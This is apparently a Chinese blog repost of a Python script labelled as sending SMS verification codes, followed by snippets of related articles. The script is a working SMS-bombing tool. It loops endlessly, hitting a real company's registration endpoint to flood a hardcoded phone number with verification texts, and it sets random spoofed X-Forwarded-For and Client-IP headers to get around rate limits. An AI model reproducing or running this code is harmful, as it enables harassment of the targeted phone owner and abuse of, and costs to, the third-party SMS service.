首页 > 其他分享 >发送短信验证码

发送短信验证码

时间:2024-02-11 11:55:04浏览次数:24  
标签:__ .__ 短信 intervalInfo self 验证码 发送 return def

1. 发送验证码

import requests
import re
import threading
import os
import random
import socket
import struct
import time

#API接口初始化,按照手机号生成不同的网址
def initAPI(phone):
    # 短信接口API 请求间隔时间 备注 请求方式 请求参数 需要SESSION的先决请求URL以及Referer
    APIList = [

        [
            "http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
            60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"],

        
    ]
    return APIList

# 短信初始化
class initSMS(object):
    """docstring for initSMS"""

    def __init__(self):
        super(initSMS, self).__init__()
        self.SMSList = []
        self.intervalInfo = 0

    def initBomb(self,APIList):
        for x in APIList:
            self.intervalInfo += 1
            self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
        return self.SMSList


class SMSObject(object):
    """docstring for SMSObject"""  # __var 私有成员变量

    def __init__(self, url, interval, info, method, params, others, intervalInfo):
        super(SMSObject, self).__init__()
        self.__url = url
        self.__interval = interval
        self.__info = info
        self.__intervalInfo = intervalInfo
        self.__method = method
        self.__params = params
        self.__others = others

    def getUrl(self):
        return self.__url

    def getInfo(self):
        return self.__info

    def getParams(self):
        return self.__params

    def getMethod(self):
        return self.__method

    def getOthers(self):
        return self.__others

    def getInterval(self):
        return self.__interval

    def getintervalInfo(self):
        return self.__intervalInfo

    def setintervalInfo(self, intervalInfo):
        self.__intervalInfo = intervalInfo


class Bomb(object):
    """docstring for Bomb"""

    def __init__(self):
        super(Bomb, self).__init__()
        self.HEADERS = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
            'Referer': 'http://10.13.0.1',
            'accept-encoding': 'gzip, deflate, br',
            'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
            'cache-control': 'max-age=0',
            "X-Requested-With": "XMLHttpRequest"
        }

    def send(self, SMS):
        # return "SUCCESS"
        IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
        self.HEADERS['X-FORWARDED-FOR'] = IP
        self.HEADERS['CLIENT-IP'] = IP
        try:
            session = requests.Session()
            if SMS.getOthers() != "":
                session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
                self.HEADERS['Referer'] = SMS.getOthers()
            if SMS.getMethod() == "GET":
                req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
            else:
                req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
        # print(req.url)
        except Exception as e:
            return str(e)
        return "已发送"



if __name__ == '__main__':
    # 手机号列表,例如可设为["12345678987","98765432123"]
    phoneList=["13419141749"]
    bombNum=1
    while True: # 死循环
        currTime=0
        print("\n第",bombNum,"次轰炸!!!","\n")
        bombNum+=1
        for phone in phoneList: #遍历每个手机号
            APIList=initAPI(phone) # API接口初始化
            print("\n电话:", phone)
            SMSList = initSMS().initBomb(APIList=APIList)
            switchOn = Bomb()
            i = 0
            currTime = 0
            while True:
                currTime += 1
                # print(currTime)
                for x in SMSList:
                    if x.getintervalInfo() == 0:
                        i += 1
                        info = switchOn.send(x)
                        print(str(i) + "." + x.getInfo() + " " + info)
                        x.setintervalInfo(x.getInterval())
                    else:
                        x.setintervalInfo(x.getintervalInfo() - 1)
                time.sleep(0.1) #设置两次轰炸的间隔时间,单位是秒
                if i==len(APIList):
                    break

标签:__,.__,短信,intervalInfo,self,验证码,发送,return,def
From: https://www.cnblogs.com/wuqxblog/p/18013296

相关文章

  • 06-图片验证码识别
    本节目标:图片验证码识别+其他1.图片验证码在很多登录、注册、频繁操作等行为时,一般都会加入验证码的功能。如果想要基于代码实现某些功能,就必须实现:自动识别验证码,然后再做其他功能。2.识别基于Python的模块ddddocr可以实现对图片验证码的识别。pip3.11installdddd......
  • 软件测试学习笔记丨UI_ai自动化获取图片验证码
    UI自动化获取图片验证码代码test_ai.pyfromtimeimportsleepfromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromL5.AICode.ocr_codeimportOCRCodeclassTestAi:defsetup_class(self):self.driver=webdriver.Chrome()......
  • PowerShell中,可以使用以下命令来发送和接收TCP数据 发送IPv4 TCP数据 接收IPv4 TCP
    在PowerShell中,可以使用以下命令来发送和接收TCP数据:发送IPv4TCP数据:CopyCode$remoteIPAddress="192.168.0.1"$remotePort=80$tcpClient=New-ObjectSystem.Net.Sockets.TcpClient($remoteIPAddress,$remotePort)$networkStream=$tcpClient.GetStream()$bytes......
  • 短信聚合框架,帮您轻松集成多家短信服务 - 柠聚开发者平台:为开发提效
    让简单的事情回归简单的本质。柠聚开发者平台增加短信聚合功能,帮您轻松集成多家短信服务,解决接入多个短信SDK的繁琐流程。目前已接入数家常见的短信服务商,后续将会继续集成。前言在日常的开发过程中,短信的发送经常使用(尤其是中小型的外包公司),毕竟不是每个公司都有阿里腾讯一样的......
  • 短信聚合框架,帮您轻松集成多家短信服务 - 柠聚开发者平台:为开发提效
    让简单的事情回归简单的本质。柠聚开发者平台增加短信聚合功能,帮您轻松集成多家短信服务,解决接入多个短信SDK的繁琐流程。目前已接入数家常见的短信服务商,后续将会继续集成。前言在日常的开发过程中,短信的发送经常使用(尤其是中小型的外包公司),毕竟不是每个公司都有阿里腾讯......
  • python发送、接收exchange邮件
    导包importdatetimefrompathlibimportPathimportpytzfromexchangelibimportConfiguration,Account,DELEGATE,Q,Credentials,HTMLBody,Message,FileAttachmentfromexchangelib.protocolimportCachingProtocol连接邮箱server='example.com'do......
  • 八、多种登陆方式接口 短信验证码接口
     多种登陆方式接口#路由fromdjango.urlsimportpath,includefrom.importviewsfromrest_framework.routersimportSimpleRouterrouter=SimpleRouter()router.register('',views.LoginView,'login')urlpatterns=[path('',include(r......
  • prometheus发送告警信息
    配置邮件示例#Alertmanagerconfigurationalerting:alertmanagers:-static_configs:-targets:-192.168.19.55:9093#Loadrulesonceandperiodicallyevaluatethemaccordingtotheglobal'evaluation_interval'.rule_files......
  • iMessage蓝号检测,苹果iMessages短信,iMessages群发,iMessages推信,完美实现总结 - 电
    一、PC电脑版苹果系统(MacOS)上实现imessages群发总结为以下几种方式:/*MacOS苹果系统,正常情况下,只能安装到苹果公司自己出品的Mac电脑,俗称白苹果,不能安装到各种组装机或者其他品牌的品牌机上,黑苹果的的原理,就是通过一些“破解补丁”工具欺骗macOS系统,让苹果系统认为你的电......
  • 前端密码安全发送至服务器端
    用户登录时,密码应该通过安全的方式发送到服务器,然后服务器进行验证,并且不应该将密码直接包含在JWT中。以下是一些常见的方法来确保密码传输的安全性:使用HTTPS:确保登录请求通过HTTPS协议进行传输,这样可以加密通信并防止中间人攻击。哈希密码:在客户端将密码哈希化之后再发送......